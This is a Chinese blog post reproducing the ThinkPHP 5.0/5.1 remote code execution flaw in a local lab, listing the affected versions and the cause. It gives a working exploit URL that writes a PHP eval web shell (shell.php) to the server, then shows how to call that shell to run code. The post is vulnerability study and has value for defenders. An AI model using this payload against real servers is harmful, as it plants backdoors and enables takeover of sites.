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          <h1 class="post-title" itemprop="name headline">Thinkphp-5.0 GetShell

              
            
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        <p>最近暴露出了ThinkPhp框架缺陷导致远程命令执行，奈何天网恢恢～～，小菜也只能在本地爽一把！</p>
<h3 id="靶机环境"><a href="#靶机环境" class="headerlink" title="靶机环境"></a>靶机环境</h3><p>php5.6 + nginx + PHPStrom + xDebug</p>
<h3 id="影响范围"><a href="#影响范围" class="headerlink" title="影响范围"></a>影响范围</h3><ul>
<li>Thinkphp 5.1.0 - 5.1.31</li>
<li>Thinkphp 5.0.5 - 5.0.23</li>
</ul>
<h3 id="产生原因"><a href="#产生原因" class="headerlink" title="产生原因"></a>产生原因</h3><p>Thinkphp5.x版本(5.0.20)中没有对路由中的控制器进行严格过滤，没有开启强制路由的条件下 <strong>(默认不开启)</strong> ，导致可以注入恶意代码利用反射类调用命名空间其他任意内置类，完成远程代码执行。</p>
<a id="more"></a>

<h3 id="漏洞复现"><a href="#漏洞复现" class="headerlink" title="漏洞复现"></a>漏洞复现</h3><p>Thinkphp <strong>pathinfo</strong> 方法中 有这么一条代码<strong>Config::get(‘var_pathinfo’)</strong> ，是配置文件中的设置的参数，而<strong>‘var_pathinfo’</strong> 的默认配置为s，我们可以利用 $_GET[‘s’] 来传递路由信息，也可以利用pathinfo来传递结合前面分析可得初步利用代码如下：index.php?s=index/\namespace\class/method，</p>
<h4 id="代码利用"><a href="#代码利用" class="headerlink" title="代码利用"></a>代码利用</h4><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">http://127.0.0.1/index.php?s=/index/\think\app/invokefunction</span><br><span class="line">&amp;function=call_user_func_array</span><br><span class="line">&amp;vars[0]=file_put_contents</span><br><span class="line">&amp;vars[1][]=shell.php</span><br><span class="line">&amp;vars[1][]=&lt;?php @eval($_GET[&quot;code&quot;])?&gt;</span><br></pre></td></tr></table></figure>

<h4 id="GetShell"><a href="#GetShell" class="headerlink" title="GetShell"></a>GetShell</h4><blockquote>
<p><a href="http://127.0.0.1/shell.php" target="_blank" rel="noopener">http://127.0.0.1/shell.php</a></p>
</blockquote>
<h3 id="独白"><a href="#独白" class="headerlink" title="独白"></a>独白</h3><p>还记得刚步入安全领域时，一直搞不懂什么是一句话木马<br>每次验证是否植入一句话木马成功，都要找<strong>中国菜刀</strong>去验证</p>
<p>直到有一天，顿悟了！<br>验证是否成功，可以这样！ -&gt; <a href="http://127.0.0.1/shell.php?code=phpinfo()" target="_blank" rel="noopener">http://127.0.0.1/shell.php?code=phpinfo()</a><br>原来所谓的密码就是参数名！<br>知道一句话木马原理的你，是不是各种网站开发语言的🐎，都有了！</p>
<p>那是不是，所有的网站都可以这样来搞呢，发现不行啊！<br>原来是@eval起的执行作用。这就出现了新的漏洞命令可执行漏洞–！</p>
<p>然后安全杀毒类软件诞生了，各种木马拦截，道友们开始了一句话木马的变异。<br>可谓是道高一尺，魔高一丈！</p>
<p>疏而不漏啊，还是转行的 <strong>安全</strong> ！！！</p>

      
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